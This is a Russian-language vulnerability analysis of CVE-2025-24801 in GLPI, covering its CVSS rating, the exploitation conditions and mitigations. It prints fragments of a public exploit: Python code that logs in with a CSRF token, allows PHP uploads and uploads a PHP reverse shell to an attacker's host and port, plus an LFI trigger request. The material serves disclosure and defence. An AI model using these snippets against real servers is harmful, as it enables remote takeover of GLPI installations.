
Уязвимость BDU:2025-03181 (CVE-2025-24801) модуля Inventory в GLPI
Уязвимость BDU:2025-03181 (CVE-2025-24801) в системе GLPI связана с недостаточной валидацией типов файлов в модуле Inventory. Это позволяет атакующему загрузить PHP-файл и выполнить произвольный код через цепочку Local File Inclusion (LFI) при экспорте отчетов.
Анализ уязвимости
Уровень опасности: ВЫСОКИЙ (8.5)
Вектор атаки: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
-
AV:N (Вектор атаки) - Сетевой: Уязвимость может быть эксплуатирована удалённо через сеть (например, интернет).
-
AC:H (Сложность атаки) - Высокая: Для эксплуатации требуются специфические условия или сложные манипуляции.
-
PR:L (Требуемые привилегии) - Низкие: Злоумышленнику необходимы базовые права доступа (например, учётная запись пользователя).
-
UI:N (Взаимодействие с пользователем) - Не требуется: Атака возможна без участия пользователя.
-
S:C (Область воздействия) - Изменён: Уязвимость влияет на компоненты за пределами уязвимой системы (например, другие ресурсы или системы).
-
C:H (Влияние на конфиденциальность) - Высокий: Полная компрометация конфиденциальности данных.
-
I:H (Влияние на целостность) - Высокий: Полная компрометация целостности данных.
-
A:H (Влияние на доступность) - Высокий: Полная потеря доступности системы или данных.
Условия эксплуатации:
-
Доступ к учетной записи с правами Technician (минимум).
-
Наличие версии GLPI < 10.0.18.
-
Возможность отправки HTTP-запросов к GLPI (локальная сеть или публичный доступ).
Ключевые этапы работы эксплойта
Эксплойт в общем доступе к уязвимости BDU:2025-03181 (CVE-2025-24801) автоматизирует три этапа:
-
Аутентификация в системе
Скрипт извлекает CSRF-токен из формы входа и отправляет учетные данные:def login(...): r = session.get(f"{base_url}/front/login.php") soup = bs4.BeautifulSoup(r.text, 'html.parser') token = soup.find('input', {'name':'_glpi_csrf_token'})['value'] payload = {'_glpi_csrf_token': token, 'login_name': username, ...} session.post(f"{base_url}/front/login.php", data=payload)
Без валидных учетных данных эксплуатация невозможна.
-
Изменение настроек типа документов
Эксплойт обновляет разрешенные расширения для загрузки, добавляяphp
:def document_type_update(...): data = {'ext': 'php', '_glpi_csrf_token': token, ...} session.post(url, data=data)
Это критичный шаг: GLPI начинает принимать PHP-файлы как «безопасные».
-
Загрузка PHP reverse shell
Скрипт используетajax/fileupload.php
для загрузки вредоносного файла:php_payload = f"<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\"); ?>" files = {'_uploader_filename[]': ('exploit.php', php_payload, ...)} session.post(upload_url, files=files, headers=headers)
После загрузки файл сохраняется в
/_uploads/exploit.php
, но для выполнения кода требуется ручной триггер LFI через параметрpdffont
в функционале экспорта отчетов.
Условия успешной атаки
-
GLPI должен иметь публичный URL или быть доступным из сети атакующего.
-
Учетная запись Technician часто используется для внутренних сотрудников, что делает утечку таких данных вероятной.
-
Отсутствие контроля за изменениями в настройках типов документов.
Пример ручного триггера LFI
Атакующий может вручную вызвать выполнение кода через запрос:
GET /glpi/front/report.generate.php?pdffont=exploit.php HTTP/1.1
Или использовать фичары экспорта PDF в интерфейсе GLPI.
Защита и рекомендации
-
Обновление: Установите GLPI 10.0.18 или выше.
-
Контроль прав доступа:
-
Ограничьте права Technician.
-
Регулярно аудитируйте учетные записи.
-
-
Валидация файлов:
-
Запретите загрузку
.php
,.phtml
через настройки Document Types. -
Используйте WAF для блокировки подозрительных запросов.
-
-
Сегрегация сети:
-
Ограничьте доступ к GLPI только внутренними IP-адресами.
-
-
Мониторинг:
-
Отслеживайте изменения в
/front/documenttype.form.php
. -
Анализируйте логи доступа к
/ajax/fileupload.php
.
-
Пример настройки .htaccess для блокировки LFI
RewriteEngine On RewriteCond %{QUERY_STRING} pdffont=.*\.php [NC] RewriteRule ^ - [F]
